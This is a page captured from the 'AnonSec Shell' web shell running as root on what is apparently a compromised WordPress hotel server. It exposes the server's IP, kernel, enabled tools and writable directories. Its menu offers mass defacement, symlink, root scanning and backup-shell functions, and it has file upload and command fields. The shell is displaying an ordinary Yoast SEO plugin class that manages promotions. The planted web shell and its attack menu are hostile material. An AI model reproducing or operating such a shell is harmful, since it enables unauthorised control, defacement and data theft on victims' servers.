AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/wordpress-seo/src/promotions/application/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/wordpress-seo/src/promotions/application/promotion-manager.php
<?php

namespace Yoast\WP\SEO\Promotions\Application;

use Yoast\WP\SEO\Promotions\Domain\Promotion_Interface;

/**
 * Class to manage promotional promotions.
 *
 * @makePublic
 */
class Promotion_Manager implements Promotion_Manager_Interface {

	/**
	 * The centralized list of promotions: all promotions should be passed to the constructor.
	 *
	 * @var array<Abstract_Promotion>
	 */
	private $promotions_list = [];

	/**
	 * Class constructor.
	 *
	 * @param Promotion_Interface ...$promotions List of promotions.
	 */
	public function __construct( Promotion_Interface ...$promotions ) {
		$this->promotions_list = $promotions;
	}

	/**
	 * Whether the promotion is effective.
	 *
	 * @param string $promotion_name The name of the promotion.
	 *
	 * @return bool Whether the promotion is effective.
	 */
	public function is( string $promotion_name ): bool {
		$time = \time();

		foreach ( $this->promotions_list as $promotion ) {
			if ( $promotion->get_promotion_name() === $promotion_name ) {
				return $promotion->get_time_interval()->contains( $time );
			}
		}

		return false;
	}

	/**
	 * Get the list of promotions.
	 *
	 * @return array<Abstract_Promotion> The list of promotions.
	 */
	public function get_promotions_list(): array {
		return $this->promotions_list;
	}

	/**
	 * Get the names of currently active promotions.
	 *
	 * @return array<string> The list of promotions.
	 */
	public function get_current_promotions(): array {
		$current_promotions = [];
		$time               = \time();
		foreach ( $this->promotions_list as $promotion ) {
			if ( $promotion->get_time_interval()->contains( $time ) ) {
				$current_promotions[] = $promotion->get_promotion_name();
			}
		}

		return $current_promotions;
	}
}

Anon7 - 2022
AnonSec Team